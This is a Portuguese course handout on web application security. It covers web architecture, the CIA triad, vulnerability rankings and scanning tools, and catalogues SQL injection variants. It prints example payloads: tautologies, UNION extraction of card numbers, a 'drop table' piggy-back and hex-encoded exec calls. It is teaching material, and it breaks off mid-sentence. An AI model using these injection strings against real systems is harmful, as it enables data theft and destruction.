1

SUMÁRIO

1 INTRODUÇÃO..................................................................................... 3
2 APLICAÇÕES WEB............................................................................. 4
2.1 Surgimento da Web ...................................................................... 4
2.2 Arquitetura Cliente-Servidor .......................................................... 6
2.3 Aplicações ..................................................................................... 8
3 CONCEITOS DE SEGURANÇA .......................................................... 9
3.1 Confidencialidade, Integridade e Disponibilidade ........................ 11
3.2 Vulnerabilidades mais comuns.................................................... 13
3.3 Qualidade do código ................................................................... 14
3.4 Criptografia.................................................................................. 15
3.5 Vazamento de informações......................................................... 15
4 PRINCIPAIS VULNERABILIDADES WEB ......................................... 22
4.1 INJEÇÃO DE SQL ...................................................................... 22
4.2 QUEBRA DE GERENCIAMENTO DE SESSÃO ......................... 26
5 SCRIPTS ENTRE SITES ................................................................... 30
6 REFERÊNCIA INSEGURA A OBJETO DIRETO ............................... 33
7 CONFIGURAÇÃO INCORRETA DE SEGURANÇA .......................... 34
8 EXPOSIÇÃO DE DADOS SENSÍVEIS .............................................. 35
9 FALTA DE CONTROLE EM NÍVEL DE ACESSO ............................. 36
10 FALSIFICAÇÃO DE SOLICITAÇÃO ENTRE SITES ...................... 37
11 USANDO COMPONENTES COM VULNERABILIDADES
CONHECIDAS ...................................................................................................... 39
12 ENCAMINHAMENTO E REDIRECIONAMENTOS INVALIDADOS 40
13 REFERÊNCIAS .............................................................................. 42

2
1 INTRODUÇÃO

Prezado aluno!

O Grupo Educacional FAVENI, esclarece que o material virtual é

semelhante ao da sala de aula presencial. Em uma sala de aula, é raro – quase
improvável - um aluno se levantar, interromper a exposição, dirigir-se ao professor
e fazer uma pergunta, para que seja esclarecida uma dúvida sobre o tema tratado.
O comum é que esse aluno faça a pergunta em voz alta para todos ouvirem e todos
ouvirão a resposta. No espaço virtual, é a mesma coisa. Não hesite em perguntar,
as perguntas poderão ser direcionadas ao protocolo de atendimento que serão
respondidas em tempo hábil.
Os cursos à distância exigem do aluno tempo e organização. No caso da
nossa disciplina é preciso ter um horário destinado à leitura do texto base e à
execução das avaliações propostas. A vantagem é que poderá reservar o dia da
semana e a hora que lhe convier para isso.
A organização é o quesito indispensável, porque há uma sequência a ser
seguida e prazos definidos para as atividades.

Bons estudos!

3
2 APLICAÇÕES WEB

2.1 Surgimento da Web

https://veja.abril.com.br

Conforme Aquino (2006), em 1989, o Centro Europeu de Pesquisa Nuclear

(CERN), enfrentou dificuldades para se comunicar entre seus pesquisadores, que
eram lotados em distintos projetos desenvolvidos não só na base do instituto,
situada na Suíça. Para trocar informações sobre as pesquisas feitas, os cientistas
do CERN usavam documentos em papel, provocando atrasos na troca de
informações entre os grupos de pesquisadores e o risco da perda de conhecimento.
Com intenção de solucionar esse problema o engenheiro Tim Berners-Lee criou em
1990 a World Wide Web (TAHA, 2017).
A World Wide Web tem como iniciativa a recuperação de informação
hipermídia em longa distância que tem como finalidade fornecer entrada a um vasto
universo de documento conforme o próprio site do (CERN, 2017 apud TAHA, 2017).
Trata-se da maneira de distribuir e oferecer ingresso a documentos
hipermídia por meio da Internet, na qual um usuário requer através de um browser

4
um documento ou página situada em determinado endereço que referencia um
servidor web que ficará fornecendo tal conteúdo. Além disso Tim Berners-Lee
elaborou uma linguagem de marcação de texto, conhecida por HyperText Markup
Language (HTML), que precisaria ser usada para a constituição dos documentos
que seriam partilhados através da web (TAHA, 2017).
O desenvolvimento desmedido da internet sobreveio devido ao uso da web
e sua maneira de repartição de conteúdo, que excedeu a tarefa de partilhar saberes
entre cientistas de um núcleo de pesquisas e consentiu a troca de informações entre
pessoas de todo o mundo (TAHA, 2017).
Para compreender o funcionamento básico da web é preciso conceituar
alguns termos fundamentais como HTML, URL e links. A maior parte das
documentações presentes na web são notórios também como páginas web, que
exibem conteúdo do tipo textual, imagens, vídeos e outros. Essas páginas podem
ser encontradas através de um identificador. Oliveira (2012) apud Taha (2017)
expõe que cada página web exibe um identificador único conhecido por URL
(Uniform Resource Locator). A URL é uma continuação de caracteres, que
acompanha um determinado esquema e conjunto de regras de construção, sua
finalidade é identificar e consentir a localização de um recurso disponível na web,
conforme exposto na RFC 1738 (BERNERS-LEE; MASINTER; MCCAHILL, 1994
apud TAHA, 2017).
Pode-se falar que o esqueleto dessas páginas é o HTML, que definirá como
o conteúdo visualizado ficará estruturado e como será ajuntado em seções distintas.
O HTML é uma linguagem de marcação que descreve ao navegador como uma
página web deve ser apresentada ao usuário, marcando textos e outras informações
com dados conhecidos por tags. Esses dados podem determinar se um conteúdo é
uma imagem, definir que certo texto fique em negrito e conectar documentos entre
si. As páginas web podem estar conectadas entre si por meio de links, que são
elementos que sugerem ao navegador que ele deve solicitar determinado conteúdo
numa URL específica (TAHA, 2017).
Desta forma, alguém com acesso à Internet pode se conectar a web e
visualizar uma página por meio de um navegador, somente digitando a URL, e o
5
navegador encaminhará a requisição ao servidor, que provê o conteúdo neste
endereço, e que voltará como resposta uma página web ou determinado tipo de
conteúdo, que serão apontados no próprio navegador (TAHA, 2017).
Hoje em dia a web não trata mais somente de acesso a páginas estáticas
conectadas através de links, (UTO, 2013 apud TAHA, 2017). Os desenvolvedores
notaram na Web uma boa oportunidade para iniciar a criação de aplicações
distribuídas e essas aplicações deixam que inúmeros usuários acessem seus
recursos por meio de um navegador, sem necessidade de instalar o software
localmente. De acordo com as informações produzidas pelo usuário, uma aplicação
pode prover distintas respostas e de modo dinâmico modificar seu conteúdo em
resposta às requisições ao servidor de aplicações que precisará estar online.
Nesses casos é preciso a conexão com a Internet, embora já existem aplicações
que aceitam você trabalhar localmente sem conexão e quando ficar online é
concretizada uma sincronia dos dados (TAHA, 2017).

2.2 Arquitetura Cliente-Servidor

https://pt.wikipedia.org

6
 Ao requerer páginas ou serviços na web, um usuário utiliza- se o modelo
cliente-servidor. Conforme Held (2000) apud Taha (2017), essa arquitetura
determina fundamentalmente que um ou mais computadores, conectados numa
rede, peçam a um ou mais servidores na mesma rede ou na Internet, conteúdo e
serviços, que estes não têm acesso ou que não podem estar disponíveis no lado
cliente sem passar antes por um conjunto de medidas de segurança para
provimento do serviço ou por questões de capacidade de processamento de dados.
Hoje em dia os sistemas na web já operam com um modelo conhecido por
arquitetura de 3 camadas. Held (2000) apud Taha (2017), informa que essa
arquitetura exibe ―um servidor de aplicação que é a objeto central do novo modelo.
Ele pode ser referido como um middleware, situado entre clientes e fontes de dados
ou sistemas legados, que gerencia e processa aplicativos de três camadas‖ (TAHA,
2017).
Nos sistemas em 3 camadas, figura 1, o cliente pede a grande parte dos
recursos ao servidor de aplicações pois têm vários recursos que operam com amplo
processamento e volume de informações, com cálculos complicados, upload de
conteúdo multimídia e que exigem alto poder de processamento nem sempre
disponível nas máquinas cliente (TAHA, 2017).
O modelo Web seguido nessa arquitetura, isola a entrada aos dados do
lado cliente, buscando impedir questões de segurança, por isso temos na maioria
das vezes a entrada a um banco de dados somente por meio de requisições ao
servidor, que precisará dar ou não autorização de acordo com os privilégios do
usuário (TAHA, 2017).

7
 Figura 01 - Modelo cliente-servidor de 3 camadas

2.3 Aplicações

Para (KAPPEL, 2004) apud Taha (2017), uma aplicação Web é um sistema
de software fundamentado em tecnologias e padrões do World Wide Web
Consortium (W3C) que providencia recursos específicos de Web, como conteúdo e
serviços por meio de uma interface de usuário, o Web browser‖.
Di Lucca e Fasolino (2006) apud Taha (2017), asseveram que uma
aplicação web pode ser estimada como um sistema distribuído, apresentando uma
arquitetura multicamadas, com entrada concorrente por diversos usuários em vários
lugares do mundo, ajustado com ambientes de cumprimento heterogêneos. Ainda
segundo os autores, uma aplicação web pode ser componentizada, isto é, cada
elemento pode exibir tecnologias distintas, como a linguagem de programação
usada em sua construção, e ter a habilidade de causar conteúdo dinâmico de
acordo com a interação do usuário, a entrada de dados e o estado do servidor
(TAHA, 2017).

8
 Essas aplicações são sistemas mais difíceis do que páginas estáticas na
web. A interação com o usuário torna-se mais frequente, tem um enorme número
de condições funcionais que consentem aos usuários gerar dados que geralmente
são persistidos em banco de dados e que são usados para determinar conteúdo
dinâmico a ser exibido pela própria aplicação. Essas aplicações na maioria das
vezes empregam o modelo de 3 camadas, onde na camada de cliente ou exposição
o usuário por meio da interface da aplicação faz requisições à camada de lógica de
negócio, especificamente ao servidor de aplicações, que pode pedir ou encaminhar
informações à camada de dados, e também responder às cobranças, gerando
conteúdo dinâmico a ser oferecido na camada cliente (TAHA, 2017).

3 CONCEITOS DE SEGURANÇA

https://triplait.com

9
 O nascimento da Web e o ligeiro aumento de computadores conectados às
redes, faz com que as pessoas compartilhem cada vez mais informações na
Internet. Atualmente existem muitos sistemas complexos e que processam dados
sensíveis de milhares de pessoas. Podemos citar como exemplo o Internet banking,
Sistema de gerenciamento de bancos por meio do qual as pessoas podem executar
tarefas que antes eram realizadas apenas em agências bancárias. Tomando esse
sistema como exemplo, você pode tentar imaginar que tipo de dados o usuário está
trocando com o servidor que mantém essa aplicação. Senha e login são exemplos
de informações que o usuário necessita preencher para poder acessar o sistema.
Se um usuário for concretizar uma transferência de recursos, ele deverá outra vez
digitar a senha para aprovar a transação e provavelmente informar uma chave de
segurança que ele recebeu da instituição, ou ter acesso a certificados digitais que
demonstram sua autenticidade (TAHA, 2017).
Em um sistema de e-mail de uma organização é provável que aconteça a
troca de informações confidenciais e relevantes. Esses e outros exemplos,
evidenciam que nós partilhamos e guardamos várias informações, seja por meio da
Internet ou em redes locais, e que necessitam de um certo nível de segurança para
impedir que terceiros tenham acesso indevido, que utilizem nossos dados ou até
mesmo se façam passar por nós (TAHA, 2017).
Segurança da informação protege a informação de muitos tipos de ameaças
para garantir o prosseguimento do negócio, diminuir o risco ao negócio, elevar ao
máximo o retorno sobre os investimentos e as oportunidades de negócio.‖
(ASSOCIAÇÃO BRASILEIRA DE NORMAS TÉCNICAS, 2005, p. 9 apud TAHA,
2017, p. 12).

10
3.1 Confidencialidade, Integridade e Disponibilidade

http://www.controlonce.com/

As três propriedades fundamentais de segurança, são compostas por:

confidencialidade, integridade e disponibilidade (CID), conhecidos como seus três
pilares de sustentação (TAHA, 2017).
Recursos computacionais, documentos e informações que necessitam
permanecer protegidos e em segredo só poderão ser acessados por entidades que
tenham autorização para isso. Conforme Pfleeger e Pfleeger (2007) apud Taha
(2017), a confidencialidade é a propriedade que garante que esses recursos só
possam ser acessados por quem verdadeiramente tem autorização, e se não tiver,
não poderá visualizar, acessar, distribuir ou imprimir algo.
Os dados de um prontuário médico eletrônico só podem ser vistos pelos
profissionais da saúde com permissão e acesso ao prontuário e pelo paciente a
quem se propõe o prontuário, se por ventura alguém não autorizado tenha acesso
a esse documento, até mesmo o físico, perde-se a propriedade de confidencialidade
(TAHA, 2017).

11
 Entrada indevida à e-mails, mensagens criptografadas, contas de vários
serviços, roubo de dados de transações eletrônicas, são exemplos de problemas
unidos à confidencialidade. Bishop (2005) apud Taha (2017), assevera que têm
mecanismos para o controle de acesso aos dados, como a criptografia, que na
maioria das vezes por meio de inúmeras operações matemáticas e de controle,
torna os dados incompreensíveis, criptografados.
Os algoritmos criptográficos mais contemporâneos costumam fazer uso de
chaves, que são parâmetros passados ao algoritmo para que este cifre os dados e
que uma pessoa não autorizada não consiga decifrá-los sem conhecer a chave.
Isso provoca outro problema, deve-se garantir a confidencialidade da chave (TAHA,
2017).
A propriedade de integridade tem como finalidade garantir se dada
informação ou recurso é garantido ou não, geralmente trata da integridade dos
dados, ou seja, do conteúdo da informação, e da raiz desses dados (BISHOP, 2005
apud TAHA, 2017). Uma informação é correta e confiável se ela não ocorreu
nenhuma adulteração e se for possível confirmar ou ter garantias da integridade da
sua origem. Podemos citar como exemplo o episódio de um usuário concretizando
o download de uma imagem de disco no formato .iso e que ele adoraria de saber
se os dados estão íntegros, que não tenha acontecido nenhuma falha durante o
processo, sem perder qualquer dado, ou que um software mal-intencionado
instalado em seu computador não tenha mudado os dados, ou até mesmo ter
efetivado o download de um arquivo que é dito ser de tal origem, mas na verdade é
de outra. (TAHA, 2017).
Em Bishop (2005) apud Taha (2017), são oferecidas duas maneiras de
garantia dessa propriedade. A primeira forma trata dos mecanismos de prevenção,
que buscam bloquear tentativas não autorizadas de modificar os dados e o uso de
caminhos não autorizados para modificar os dados. A segunda forma são
mecanismos de detecção que corroboram que a integridade dos dados não é mais
seguro, podendo utilizar recursos do sistema para gerar alertas com informações
do motivo da corrupção dos dados.

12
 Segundo a Shirey (2000, p. 17) apud Taha (2017, p. 14) disponibilidade é
a ―propriedade de um sistema ou um recurso do sistema ser utilizável e acessível
mediante demanda por uma entidade do sistema permitida, de acordo com as
especificações de performance do sistema.‖ Quando têm disponibilidade, usuários
ou serviços aprovados precisam acessar dados, serviços e sistemas (PFLEEGER;
PFLEEGER, 2007 apud TAHA, 2017). Por exemplo, se um usuário pagar por um
serviço de streaming de dados, como serviços de transmissão de vídeos, séries e
filmes, e no contrato com o sistema que promove o streaming é proposto que este
deve estar disponível em data e hora específica, o serviço precisaria estar. Há
muitos problemas que podem tornar esses recursos indisponíveis, como desastres
naturais, problemas de conexão de servidor, falhas de desenvolvimento dos
sistemas e indisponibilidade por quantidade de acessos maior que a tolerada
(TAHA, 2017).
Um dos ataques mais famosos da atualidade é o Distributed Denial of
Service (DDOS), ataque de negação de serviço, que objetiva tornar um sistema
indisponível por meio da efetivação de acessos e envio de pacotes em ampla escala
à sistemas, com intenção de exceder a capacidade de processamento dos
servidores desses sistemas, tornando-os vagarosos e impossíveis de se usar
durante o ataque, ou até mesmo derrubando o serviço (TAHA, 2017).

3.2 Vulnerabilidades mais comuns

Vulnerabilidades ocorrem tanto no mundo real como no mundo virtual.

Vulnerabilidades no mundo virtual são as brechas que atacantes se aproveitam para
burlar o funcionamento correto do sistema ou, ainda, roubar informações deste
(FELIPE; BARBOZA, 2018).
Assim, a exploração de vulnerabilidades ocorre de forma rápida e sorrateira.
Administradores de sistemas e especialistas em segurança da informação devem
trabalhar em conjunto para identificar e diminuir essas falhas para que os sistemas

13
funcionem de forma plena e sem erros ou dados incorretos em seu meio (FELIPE;
BARBOZA, 2018).
Para McClure, Scambray e Kurtz (2014) apud Felipe; Barboza, (2018)., o
perfil é importante para a segurança, sendo “[...] uma combinação de ferramentas e
técnicas, acompanhadas de uma boa dose de paciência e ordenação mental, os
invasores podem pegar uma entidade desconhecida e reduzi-la a uma gama
específica de nomes de domínio, blocos de rede, sub-redes, roteadores e
endereços IP individuais de sistemas diretamente conectados à Internet, assim
como muitos outros detalhes pertinentes”. Como ponto de partida no estudo das
vulnerabilidades mais comuns, tem- -se um artigo publicado por Wade (2015) apud
Felipe; Barboza, (2018), que cita as mais populares, sendo a ordem decrescente de
ocorrências:
• qualidade do código;
• criptografia;
• vazamento de informações;
• CRLF injection;
• cross-site scripting;
• acesso indevido;
• validação de dados deficiente;
• SQL injection;
• gerenciamento de credenciais falho;
• Erros de time ou state;

A seguir, estudaremos o que significa cada um dos itens elencados no

ranking caracterizados por Wade (2015) apud Felipe; Barboza, (2018).

3.3 Qualidade do código

14
 Como principal vulnerabilidade elencada, está a criação de código ruim por
parte do time de desenvolvimento responsável pelo sistema em foco. Muitas
empresas investem em frameworks para assegurar o aceitável de qualidade nos
sistemas criados por meio do emprego de boas práticas, bem como adotar medidas
mais rigorosas ao enviar um novo código para o ambiente de produção (FELIPE;
BARBOZA, 2018).

3.4 Criptografia

Segunda colocada no ranking, a criptografia deve ser utilizada sempre nas

comunicações via rede de computadores, garantindo que a mensagem chegue
íntegra e sem ter a chance de que, caso caia em mãos erradas, essa pessoa possa
ter acesso ao seu conteúdo. Com a popularização da internet e dos sistemas, a
área de criptografia não deve ser negligenciada em nenhuma hipótese (FELIPE;
BARBOZA, 2018).

3.5 Vazamento de informações

Medalha de bronze no ranking, o vazamento de informações pode ocorrer

em duas frentes distintas: interna ou externa. O vazamento interno seria, por
exemplo, algum funcionário que verifica informações as quais não deveria ter
acesso. Já o vazamento de informações externo é quando algum invasor consegue
acesso ao sistema e rouba os dados contidos nele (FELIPE; BARBOZA, 2018).

CRLF injection

15
 O CRLF injection é um dos mais fáceis de se evitar e está na quarta posição
do ranking. Por meio do CRLF injection, é possível que, pelos códigos maliciosos
em lugares corretos, o invasor consiga dados confidenciais do sistema ou até
mesmo do próprio computador infectado do usuário vítima (FELIPE; BARBOZA,
2018).

Cross-site scripting

Também conhecido como XSS, o cross-site scripting utiliza sites com

conteúdo não estático. Por meio da execução de código malicioso pelo invasor, este
consegue o controle do computador da vítima e rouba sessões legítimas do usuário.
Para realizar esse tipo de ataque, são usados caracteres especiais que o sistema
interpreta como parte do código do próprio sistema de forma equivocada (FELIPE;
BARBOZA, 2018).

Acesso indevido

Outro tipo de invasão que é facilmente evitado por meio de uma consultoria
adequada. O acesso indevido é quando o invasor, por meio de brechas de
segurança na comunicação entre o servidor e o navegador do cliente, rouba acesso
do usuário vítima e também as informações contidas na sessão (FELIPE;
BARBOZA, 2018).

Validação de dados deficiente

Todo campo de dados que o sistema receberá deve ser tratado. Entenda
por entrada qualquer campo em que o usuário irá entrar com um valor e esse valor
deve ser processado ou salvo pelo sistema. Assim, campos como nome, login,
senha ou endereço, por exemplo, no cadastro de cliente, devem ser validados para
conferir se está recebendo somente caracteres permitidos e não aceitar Exploração
16
de falha de segurança 3 entradas inválidas ou caracteres especiais, tais como
exclamação, interrogação, cifrão, asterisco, etc (FELIPE; BARBOZA, 2018).

SQL injection

O SQL injection já foi um problema maior, mas ainda continua no ranking

top 10. Por meio de inserção de SQL, o banco de dados do sistema estará muito
comprometido. Roubo de dados nesse problema é só o começo. Dados podem ser
modifi cados e o sistema pode não corresponder mais à realidade que deveria,
portanto, é um estrago dos piores. Gerenciamento de credenciais falho Quem,
quando e o que cada usuário pode acessar. Uma manutenção nas credenciais de
acesso nunca deve ser postergada, como a exclusão de permissão ou usuários, por
exemplo. O sistema deve conter somente e pelo tempo necessário os usuários com
permissões de acesso na alçada necessária (FELIPE; BARBOZA, 2018).

Erros de time ou state

Por fim, com um ambiente complexo e recheado de atividades em paralelo,

um sistema deve sempre ter a sua disposição pessoas autorizadas a desempenhar
cada um dos papéis necessários ao seu bom funcionamento. Assim, evita-se a
execução de códigos não autorizados por pessoas que, mesmo com as mais boas
e inocentes intenções, podem prejudicar o sistema como um todo ou em parte
(FELIPE; BARBOZA, 2018).

Análise de vulnerabilidades

Identificada uma vulnerabilidade, o que deve ser feito a seguir? Ao se

deparar com uma vulnerabilidade no sistema ou na rede de computadores, é
importante realizar os levantamentos do impacto de que essa vulnerabilidade pode
ocasionar aos usuários ou dados do sistema. Com isso mensurado, deve-se
17
ponderar sobre a correção imediata ou postergar a atividade caso o impacto não
seja significativo (FELIPE; BARBOZA, 2018).
A análise de vulnerabilidade é de suma importância para o desenvolvimento
de correções e melhorias futuras no software ou na rede de computadores projetada
(FELIPE; BARBOZA, 2018).
A análise de vulnerabilidade é sempre importante para definir como e
quando deverá ser sanada uma falha ou brecha de segurança sistêmica:
imediatamente, em pequeno, médio ou longo prazo (FELIPE; BARBOZA, 2018).

O início das vulnerabilidades é sustentado por um dos três pilares abaixo:

• Erros de programação: código-fonte com brechas de segurança,

portanto, violáveis aos ataques.
• Falha humana: ações realizadas por pessoas consideradas vítimas de
algum outro crime virtual, como links falsos, malwares, vírus, etc.
• Má configuração: contar com sistemas de bloqueios com configuração
deficitária, portanto, não abrange a totalidade do sistema.

Para definir a correção ou não do problema, deve-se analisar a

vulnerabilidade em algumas medidas para tomar a decisão sobre o que fazer. Por
exemplo: se uma vulnerabilidade é muito complexa de ser resolvida e o risco de
ficar vulnerável é razoável para a empresa, essa vulnerabilidade possivelmente não
será solucionada até que exista tempo hábil ou necessidade para tal (FELIPE;
BARBOZA, 2018).
A análise de vulnerabilidade vem para suprir essa lacuna, sendo que
Santos (2018) apud Felipe; Barboza, (2018), diz que ela “[...] trata basicamente do
processo de identificação de falhas e vulnerabilidades (brechas) conhecidas
presentes no ambiente e que o expõem a ameaças. Essas falhas podem ser
causadas por diversos motivos”.
Santos (2018) apud Felipe; Barboza apud (2018). também indica os
objetivos da análise de vulnerabilidade da seguinte forma:
18
 • Identificar e tratar falhas de softwares que possam comprometer seu
desempenho, sua funcionalidade e sua segurança. Exploração de falha de
segurança
• Providenciar uma nova solução de segurança, como o uso de um bom
antivírus, com possibilidade de update constante e implementação de sistemas de
detecção e prevenção de intrusão.
• Alterar as configurações de softwares a fim de torná-los mais
eficientes e menos suscetíveis a ataques.
• Utilizar mecanismos para bloquear ataques automatizados (worms,
bots, entre outros).
• Implementar a melhoria constante do controle de segurança.
• Documentar os níveis de segurança atingidos para fins de auditoria e
compliance com leis, regulamentações e políticas.

Aplicando o gerenciamento de vulnerabilidades

Para identificar e até mesmo mensurar uma vulnerabilidade, podemos

utilizar diversas ferramentas para auxílio. Verificaremos quatro ferramentas ao todo
neste capítulo, sendo:

• Port scanner;
• Protocol analyzer;
• Vulnerability scanner;
• Honeypots.

Port scanner

Com utilitários de escaneamento de portas, é possível descobrir portas que

estejam abertas para acesso em servidores ou computadores da rede.
19
 O port scanner mais conhecido é o Nmap. Com sintaxe simples e rápida, é
possível descobrir em segundos quais portas estão liberadas para conexão. A
seguir, veja na Figura 1 uma imagem do resultado do Nmap (FELIPE; BARBOZA,
2018).

Como pode-se observar nas últimas três linhas do retorno do comando,

existem três portas abertas nesse alvo colocado, sendo 22 com o serviço ssh, 80
com o serviço web/http e a 443 com o serviço web/https (FELIPE; BARBOZA, 2018).
Como o alvo se trata de um site bem conhecido, a porta 22 estaria liberada
de forma desnecessária. Ninguém deveria acessar esse servidor por ssh
diretamente, mas, sim, por meio de outro host com vpn e outros degraus de
segurança (FELIPE; BARBOZA, 2018).

Protocol analyzer

Este grupo contempla as ferramentas de análise de tráfego de rede,

podendo verificar com base em protocolo trafegado (udp ou tcp), endereço IP de
origem, endereço IP de destino, entre outras informações do pacote de dados em
trânsito (FELIPE; BARBOZA, 2018).
Nesta área de protocol analyzer, a ferramenta chamada tcpdump é a mais
difundida. Isso ocorre por ela ser extremamente leve, com sintaxe fácil de entender,
precisa e muito completa em suas opções (FELIPE; BARBOZA, 2018).

Veja a Figura 2.
20
 Figura 2. Tcpdump

Na Figura 2, é possível ver o resultado de um tcpdump na máquina local.

Repare que a ordem de apresentação do resultado é:

• Horário;
• IP de origem;
• porta de origem;
• IP de destino;
• porta de destino;
• protocolo;
• tamanho (FELIPE; BARBOZA, 2018).

Para lermos o resultado apresentado tomando por base as informações da

primeira linha da imagem capturada, temos:

• horário: 21h43m35s
• IP de origem: 216.58.202.3
• porta de origem: 443
• IP de destino: 192.168.15.5
• porta de destino: 41971
• protocolo: UDP
• tamanho: 288 (FELIPE; BARBOZA, 2018).

21
 Assim, a leitura direta ficaria algo semelhante a:

Às 21h43m35s, o IP origem 216.58.202.3 e porta 443 transmitiu

informações/pacotes para o IP destino 192.168.15.5 na porta 41971 utilizando
protocolo UDP e comprimento de 288 (FELIPE; BARBOZA, 2018).

Vulnerability scanner

Grupo completo de ferramentas que indicam uma varredura completa do

sistema, exibindo dados de versões de softwares, atividades, updates necessários,
sistema operacional, banco de dados, etc (FELIPE; BARBOZA, 2018).

Honeypots

Para atrair invasores, coletar informações sobre estes e, até mesmo, distrair
a sua atenção do sistema que realmente é importante, deve-se utilizar a ideia de
honeypots, que são iscas criadas dentro da rede ou sistema para direcionar as
invasões para esse ambiente e, dessa forma, livrar o ambiente (FELIPE; BARBOZA,
2018).

4 PRINCIPAIS VULNERABILIDADES WEB

4.1 INJEÇÃO DE SQL

O ataque via injeção de SQL do inglês SQL injection, ocorre quando um

código SQL é inserido ou concatenado aos parâmetros de entrada providos pelo
usuário e em seguida o código é enviado ao banco de dados que o interpreta e
executa (CLARKE, 2009 apud MONTEVERDE, 2014). Qualquer estrutura que
trabalhe com o SQL pode ser mira para ataques de injeção de SQL, e já que é um
ataque direto a base de dados, se torna um dos mais ameaçadores tipos de invasão,
22
podendo revelar todas as informações contidas no banco de dados que foi invadido
(MONTEVERDE, 2014).
Halfond et al. (2006) apud Monteverde (2014) expõe diversos tipos de
injeção SQL:
• Tautologia (Tautology) - Esse tipo de ataque injeta sentenças SQL
para a consulta condicional, a sentença a ser avaliada é sempre veracidade. No
exemplo do Quadro 1, 1 = 1 é sempre verídico e se o aplicativo não valida a entrada
do usuário de forma correta, então todos os registros da base de dados serão
alcançados com a injeção deste código (MONTEVERDE, 2014).
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ OR

1=1 −−AND p a s s = ’ ’

Quadro 1: Exemplo Tautologia.

Consultas Ilegais/Logicamente Incorretas (Illegal/Logically Incorrect

Queries) - O alvo do ataque é compreender as propriedades da base de dados.
Quando esse tipo de consulta é executado, o sistema gerenciador de banco de
dados (SGBD) volta uma mensagem de erro. A análise do erro pelo atacante poderá
permitir a identificação do SGBD, como por exemplo tipo, versão e etc. O Quadro 2
exemplifica a consulta (MONTEVERDE, 2014).

SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ AND

p a s s = ’ ’ AND pi n = c o n v e r t ( i n t , ( s e l e c t t o p 1 name from

s y s o b j e c t s whe rext y p e = ’ u ’ ) )

Quadro 2: Exemplo de Consulta Ilegal.

23
 União de consultas (Union Query) - Esse ataque utiliza o operador UNION
que concretiza uniões entre duas ou mais consultas, o Quadro 3 retrata um exemplo
de consulta usando o operador UNION (MONTEVERDE, 2014).

SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ ’ UNION SELECT ca rdNo f rom

C r e d i t C a r d s whe re acctN o =10032 −− AND p a s s = ’ ’ AND pi n =

Quadro 3: Exemplo de Consulta utilizando o operador Union.

Consulta extra (Piggy-Backed Queries) - Nesse tipo de ataque, o atacante

adiciona uma consulta extra à consulta original, como segue exemplo do Quadro 4
(MONTEVERDE, 2014).

SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ doe ’ AND

p a s s = ’ ’; d r o p t a b l e u s e r s −− ’ AND pi n =123

Quadro 4: Exemplo de Consulta Extra.

Procedimentos Armazenados (Stored Procedures) - Um procedimento é

um grupo de instruções transacionais guardados em um exclusivo plano de
execução. A exemplo procedimento armazenado é dado no Quadro 5
(MONTEVERDE, 2014).

CREATE PROCEDURE a ut h e n t i c a t e U s e r (IN u se r name VARCHAR

(1 6) , IN p a s sw o r d VARCHAR ( 3 2 ) )

BEGIN

SELECT * FROM members WHERE member_username= user name

24
 AND member_passwo rd= p a s sw o r d;

END

Quadro 5: Exemplo de procedure armazenada.

Dependo do tipo de consultas gravadas como procedures as próprias

podem ser vulneráveis a muitos tipos de injeção. No código exemplo o procedimento
gravado é vulnerável a ataques do tipo piggybacked queries e tautologies
(MONTEVERDE, 2014).
Inferência (Inference) - Neste tipo de ataque, o atacante nota o
comportamento na aplicação Web fundamentado em uma série de consultas
verdadeiro/falso com distâncias de tempos diferentes entre cada consulta. Com uma
cuidadosa análise do comportamento da aplicação o atacante identifica os
parâmetros vulneráveis. Estes ataques compões dois tipos: blind injection e timing
attacks, no primeiro o atacante formula questões que contenham resultado
verdadeiro/falso ao SGBD e na segunda o atacante ajunta informações de um
SGBD por meio da análise no tempo de atraso nas respostas do sistema SGBD
alvo, o Quadro 6 exemplifica a consulta usada nesta técnica;

SELECT accounts FROM users WHERE login = ’ legal User ’

and 1=0 −− ’ AND pass = ’ ’ AND pin =0

SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ’ l e g a l U s e r ’

and 1=1 −− ’ AND pass = ’ ’ AND pin =0

Quadro 6: Exemplo de consulta utilizando a técnica de Inferência

25
 ∙ Codificações Alternativas (Alternate Encodings) - Nesta técnica, os
invasores mudam uma consulta injetando codificação alternativa, como
hexadecimal, ASCII e Unicode. Desta forma, podem evadir filtros de caracteres
especiais de entrada conhecidos "bad character", um exemplo deste tipo de
consulta segue no Quadro 7 (MONTEVERDE, 2014).

SELECT accounts FROM users WHERE login = ’ legal User ’;

exec ( char ( 0 x 7 3 6 8 7 5 7 4 6 4 6 f 7 7 6e ) ) −− AND pass = ’ ’ AND pi n =

Quadro 7: Exemplo de consulta utilizando Codificação Alternativa

Cabe destacar que foram narrados os fundamentais tipos de ataques de
SQL injection. Têm inúmeras variantes de ataques que exploram vulnerabilidades
específicas de cada sistema gerenciador de banco de dados, para mais informações
consulte (CLARKE, 2009 apud MONTEVERDE, 2014).

4.2 QUEBRA DE GERENCIAMENTO DE SESSÃO

A quebra de gerenciamento de sessão do inglês Broken Authentication and

Session Management, abarca todas as peculiaridades referentes a manipulação da
autenticação dos usuários e o gerenciamento de sessões na aplicação. Todo
processo de autenticação de usuário pode ser crítica (OWASP, 2013ª apud
MONTEVERDE, 2014).
A autenticação é um aspecto crítico desse processo, porém os mecanismos
de autenticação mesmo consistentes podem ser lesados por falhas em funções de
gerenciamento de credenciais, abarcando a modificação da senha, atualizações de
conta, e outras funções conexas. Segundo (HULUKA; POPOV, 2012 apud

26
MONTEVERDE, 2014), duas variantes desse tipo de vulnerabilidades são o
Hijacking Attacks e Session Fixation.
Hijacking Attacks (roubo de sessão) são fundamentados na interceptação
de cookies não criptografados. Cookies de autenticação comumente são inventados
durante o procedimento de autenticação do usuário. Depois de bem-sucedida a
validação das credenciais de autenticação do usuário, a aplicação Web produz
cookies de autenticação e os emite para o navegador. O navegador atribui esses
cookies a cada pedido que requer autenticação. De forma geral os cookies de
autenticação se tornam um substituto temporário para credenciais de usuário e
senha (DACOSTA et al., 2012 apud MONTEVERDE, 2014).
Os cookies são estáticos, durante sua existência não mudam. Do mesmo
modo, se um atacante rouba os cookies de autenticação, será capaz de representar
o usuário coligado a esse cookie. A Figura 1 mostra uma visão simplificada de um
Hijacking Attack em uma rede sem fio. Após a autenticação, a vítima utiliza um
cookie de autenticação em cada pedido para o aplicativo da Web (passo 1). Como
